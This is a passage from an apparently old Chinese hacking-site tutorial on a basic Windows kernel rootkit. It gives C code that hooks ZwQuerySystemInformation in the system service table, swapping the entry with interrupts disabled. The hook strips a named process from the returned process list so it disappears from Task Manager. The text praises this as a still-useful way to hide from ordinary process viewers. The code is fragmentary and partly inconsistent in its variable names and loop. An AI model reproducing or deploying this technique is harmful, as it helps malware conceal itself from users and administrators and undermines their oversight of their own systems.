ULONG SystemInformationLength,
PULONG ReturnLength
);
定义ZwQuerySystemInformation函数中的数据结构
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //Windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};
修改系统服务调用,保留原始的入口地址,将系统服务对应的地址修改为我们程序的入口地址:
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)( SYSTEMSERVICE (ZwQuerySystemInformation));
_asm cli
(ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE (ZwQuerySystemInformation))= NewZwQuerySystemInformation;
_asm sti
解除钩子,还原系统服务:
_asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
_asm sti
调用原始的系统服务,然后通过实现自己的ZwQuerySystemInformation函数来达到隐藏进程的目的。首先调用原始ZwQuerySystemInformation函数,得到当前的SystemInformation,然后对SystemInformation结构进行遍历,查找是否有需要隐藏的进程名称,当发现有需要隐藏的进程名称之后,修改SystemInformation中的进程队列,取下需要隐藏的进程单元,以达到在任务管理器中隐藏的目的。
rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES * ProcPre = NULL;
while(curr)
{
if(RtlCompareUnicodeString(&ProcessName,&CurProcessName,TRUE) == 0)
当前的进程名称CurProcessName和需要隐藏的进程名称ProcessName进行比较,如果是需要隐藏的进程,则将指向当前进程的指针后移,摘除当前挂在链表上的进程结构。
{
if(ProcPre != NULL)
{
if(ProcCur->NextEntryDelta != 0)
{
ProcPre->NextEntryDelta += ProcCur->NextEntryDelta;
}
else
{
ProcPre->NextEntryDelta = 0;
}
}
else
{
if(ProcCur->NextEntryDelta != 0)
{
SystemInformation = (PSYSTEM_PROCESSES)((PTSTR)ProcCur + ProcCur->NextEntryDelta);
}
else
{
SystemInformation = NULL;
}
}
break;
}
}
最后将结果返回:
return(rc);
在这篇文章里面我们很粗浅的分析了一下一个基本的Rootkit的进程隐藏功能,相信大家看完之后对神秘的Rootkit有所了解。当然这个Hook ZwQuerySystemInformation来隐藏进程的技术已经能被很多的Rootkit检测工具查出来,但是,对于一般的进程查看工具而言,仍不失为一种比较好的隐藏策略。http://hackbase.com/tech/2005-12-28/125841.html